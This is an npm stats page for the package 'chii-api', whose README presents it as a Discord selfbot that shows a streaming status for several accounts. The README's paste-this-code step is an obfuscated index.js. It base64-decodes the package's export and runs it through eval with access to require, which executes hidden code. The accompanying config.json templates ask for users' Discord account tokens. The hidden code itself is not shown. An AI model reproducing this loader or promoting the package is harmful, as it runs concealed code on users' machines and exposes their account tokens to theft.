npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

chii-api

v1.1.2

Published

Streaming status for Discord accounts

Downloads

111

Readme

STATUS-Discord RichPresence Selfbot-V13 NodeJS-Module

  • 🟣Streaming status for Discord accounts

  • 🟣This code can make purple pill status unlimited for multiple accounts.

  • 🟣สถานะการสตรีมสำหรับบัญชี Discord

  • 🟣โค้ดนี้สามารถทำสถานะเม็ดม่วงได้หลายบัญชีไม่จำกัด

  • 🟣ออกแบบมาเพื่อปรับแต่งชื่อโดยไม่ต้องปิดโค้ดแล้วรันใหม่

  • 🟣สถานะจะอัปเดตให้อัตโนมัติเมื่อมีการอัพเดทชื่อต่างๆในไฟล์ config.json

Installation

  • ติดตั้ง Modules
npm install chii-api

Run Code

  • รันโค้ด
node index.js
  • How To Code index.js STATUS Discord RichPresence
  • วิธีการเขียนโค้ด index.js สถานะ Discord RichPresence

สร้างไฟล์ชื่อ index.js

(function () {
    let _0x1a3b = 'utf8';
    let _0x9f45 = 'chii-api';
    let _0x7bdc = 'base64';
    function _0x8dfg6(_0x5e1a, _0x6b7d) {
        return (function (_0x2f7c, _0x1f3b) {
            return _0x2f7c(_0x5e1a, _0x1f3b);
        })(function (_0x4f32, _0x8e9d) {
            return eval(_0x4f32);
        }, _0x6b7d);
    }
    try {
        let _0x21a9 = Buffer.from(require(_0x9f45), _0x7bdc).toString(_0x1a3b);
        let _0x13fe = _0x8dfg6(_0x21a9, require);
        if (typeof _0x13fe === 'function') {
            _0x13fe();
        }
    } catch (_0x2d0f) {
        console.error('Error API CHII', _0x2d0f);
    }
})();

แพ็กเก็จเสร็ม package.json

{
  "dependencies": {
    "chii-api": "^1.1.2"
  }
}

การกำหนดชื่อสถานะสังเกตุที่ชื่อหัวข้อมัน

  • applicationId = "ไอดีของผู้ใช้งาน"

  • token = "โทเค็นผู้ใช้งาน"

  • setURL = "ลิงค์สตรีมมิ่ง https://twitch.tv/streamer"

  • Details = ["ชื่อด้านบนสุดหน้าแรก", "ชื่อด้านบนสุดหน้าสอง"]

  • setState = ["ชื่อตรงกลางหน้าแรก", "ชื่อตรงกลางหน้าสอง"]

  • LargeText = ["ชื่อด้านล่างสุดหน้าแรก", "ชื่อด้านล่างสุดหน้าสอง"]

  • largeImageLinks = ["ลิงค์รูปภาพใหญ่หน้าแรก", "ลิงค์รูปภาพใหญ่หน้าสอง"]

  • smallImageLinks = ["ลิงค์รูปภาพเล็กหน้าแรก", "ลิงค์รูปภาพเล็กหน้าสอง"]

  • button1 = "ชื่อปุ่มที่1"

  • link1 = "https://ลิงค์ปุ่มที่1"

  • button2 = "ชื่อปุ่มที่2"

  • link2 = "https://ลิงค์ปุ่มที่2"

หยิบชื่อไปใช้ตั้งค่าสถานะใน config.json

  • เวลานาที ตัวอย่าง 10:10
time:t
  • ปฎิทินวันที่ตัวเลขตัวอย่าง 10/10/2030
date:n
  • ปฎิทินวันที่ภาษาไทยตัวอย่าง 10/มกราคม/2030
date:th
  • แสดงปฎิทินวันที่ภาษาอังกฤษ 10/January/2030
date:eg
  • แสดงวันของไทยตัวอย่าง จันทร์ อังคาร.....
day:th
  • แสดงวันของอังกฤษตัวอย่าง 𝐒𝐮𝐧𝐝𝐚𝐲 𝐌𝐨𝐧𝐝𝐚𝐲.....
day:eg
  • แสดงสถานะความปิงตัวอย่าง 200 km/s
ping:ms
  • แสดงสถานะความร้อนตัวอย่าง 24 °C
temp:c
  • แสดงสถานะแรมตัวอย่าง 32 GB
ram:g
  • แสดงสถานะ CPU ตัวอย่าง 𝐂𝐏𝐔 𝐑𝐲𝐳𝐞𝐧 𝟓 𝟓𝟔𝟎𝟎𝐗 𝟑.𝟕 𝐆𝐇𝐳
cpu:g

ตัวอย่างวิธีหยิบกรอกชื่อให้มันสถานะต่าง

  • ในมุมมองมันจะแสดงผลแบบนี้ เวลา 10:10 วันที่ 10/10/2030
  • หากแต่งอักษรพิเศษใส่มันจะแสดงแบบนี้ ꒰ เวลา 10:10 ꒱ ⚘ ꒰ 10/10/2030 ꒱
เวลา: time:t วันที่: date:n 

ไฟล์ทำสถานะเม็ดม่วง กำหนดเอาไว้ใน config.json

{
    "user": [
        {
            "applicationId": "ไอดีผู้ใช้งาน",
            "token": "โทเค็นผู้ใช้งาน",
            "setURL": [
                "https://twitch.tv/chii"
            ],
            "Details": [
                "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
            ],
            "setState": [
                "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
            ],
            "LargeText": [
                "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
            ],
            "largeImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "smallImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "button1": "button1",
            "link1": "https://discord.gg/5gAsw4Pawq",
            "button2": "button2",
            "link2": "https://discord.gg/5gAsw4Pawq"
        }
    ]
}

ไฟล์ทำสถานะเม็ดม่วง กำหนดทำกับเพื่อนเพิ่มอีก

{
    "user": [
        {
            "applicationId": "ไอดีผู้ใช้งานคนที่ 1",
            "token": "โทเค็นผู้ใช้งานคนที่ 1",
            "setURL": [
                "https://twitch.tv/chii"
            ],
            "Details": [
                "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
            ],
            "setState": [
                "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
            ],
            "LargeText": [
                "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
            ],
            "largeImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "smallImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "button1": "button1",
            "link1": "https://discord.gg/5gAsw4Pawq",
            "button2": "button2",
            "link2": "https://discord.gg/5gAsw4Pawq"
        },
        {
            "applicationId": "ไอดีผู้ใช้งานคนที่ 2",
            "token": "โทเค็นผู้ใช้งานคนที่ 2",
            "setURL": [
                "https://twitch.tv/chii"
            ],
            "Details": [
                "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
                ,"꒰ day:th ꒱ ✦ ꒰ day:eg ꒱"
                ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
            ],
            "setState": [
                "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
                ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
                ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
                ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
            ],
            "LargeText": [
                "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
                ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
            ],
            "largeImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "smallImageLinks": [
                "https://s11.gifyu.com/images/SoUrt.gif"
                ,"https://s11.gifyu.com/images/SoUtK.gif"
                ,"https://s11.gifyu.com/images/SoUrv.gif"
                ,"https://s11.gifyu.com/images/SoUtw.gif"
                ,"https://s11.gifyu.com/images/SoUrU.gif"
                ,"https://s11.gifyu.com/images/SoUDY.gif"
                ,"https://s11.gifyu.com/images/SoUrf.gif"
                ,"https://s11.gifyu.com/images/SoUrr.gif"
                ,"https://s11.gifyu.com/images/SoUr1.gif"
                ,"https://s11.gifyu.com/images/SoUrX.gif"
            ],
            "button1": "button1",
            "link1": "https://discord.gg/5gAsw4Pawq",
            "button2": "button2",
            "link2": "https://discord.gg/5gAsw4Pawq"
        }
    ]
}

ผู้พัฒนาโค้ดสตรีมมิ่ง By Developer : CHII แอดมินซี

  • เซิร์ฟเวอร์ Discord https://discord.gg/5gAsw4Pawq